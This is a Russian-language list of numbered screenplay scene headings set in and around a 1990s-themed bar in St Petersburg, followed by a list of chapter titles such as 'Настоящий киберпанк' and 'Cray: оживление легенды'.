3. НАТ. УЛИЦА СТАРОГО ПИТЕРА.

4. ИНТ. БАР ДУХ ДЕВЯНОСТЫХ

5. НАТ. У ВХОДА В БАР

6. ИНТ. БАР. СТОЛИК АРТУРА

7. ИНТ. БАР. ВХОД

8. ИНТ. БАР. ВХОД

9. ИНТ. БАР. СТОЛИК АРТУРА И МИХАИЛА.

10. ИНТ. СТОЛИК МОЛОДОЙ КОМПАНИИ.

11. ИНТ. СТОЛИК АРТУРА И МИХАИЛА.

12. ИНТ. СТОЛИК МОЛОДЕЖИ

13. ИНТ. СТОЛИК АРТУРА И МИХАИЛА

14. ИНТ. СТОЛИК ТУРИСТОВ

15. НАТ. ВХОД В БАР.

16. НАТ. ВХОД В БАР

17. ИНТ. БАР. СТОЛИК МОЛОДЕЖИ

18. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР

19. ИНТ. БАР. СТОЛИК МИХАИЛА.

20. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР

21. ИНТ. СТОЛИК МОЛОДЕЖИ

22. НАТ. ВЫХОД ИЗ БАРА

23. ИНТ. БАР

24. НАТ. ВНУТРЕННИЙ ДВОР ПЕРЕД БАРОМ

25. ИНТ. БАР

26. НАТ. ВХОД В БАР.

ТИТРЫ

Настоящий киберпанк (отрывок)

Две недели назад

Неделя назад

Тот же день, подземная парковка

Тот же день, лифт

Утро нового дня

Стопроцентное распознавание

Низвержение в Мальстрем

Конкретика

Трудности перевода

Сказочное Бали

Cherchez la femme

Таможня дает добро

Нюансы и мелочи

Нюанс первый

Нюанс второй

Нюанс третий

Король говорит

Предстартовая подготовка

Тучи сгущаются

Стремительное падение

Облачная история

Голодная зима

Стопроцентное распознавание

Тотальный разгром

Конец инженера

Эпилог

Cray: оживление легенды

Cray

Легенда

Симулятор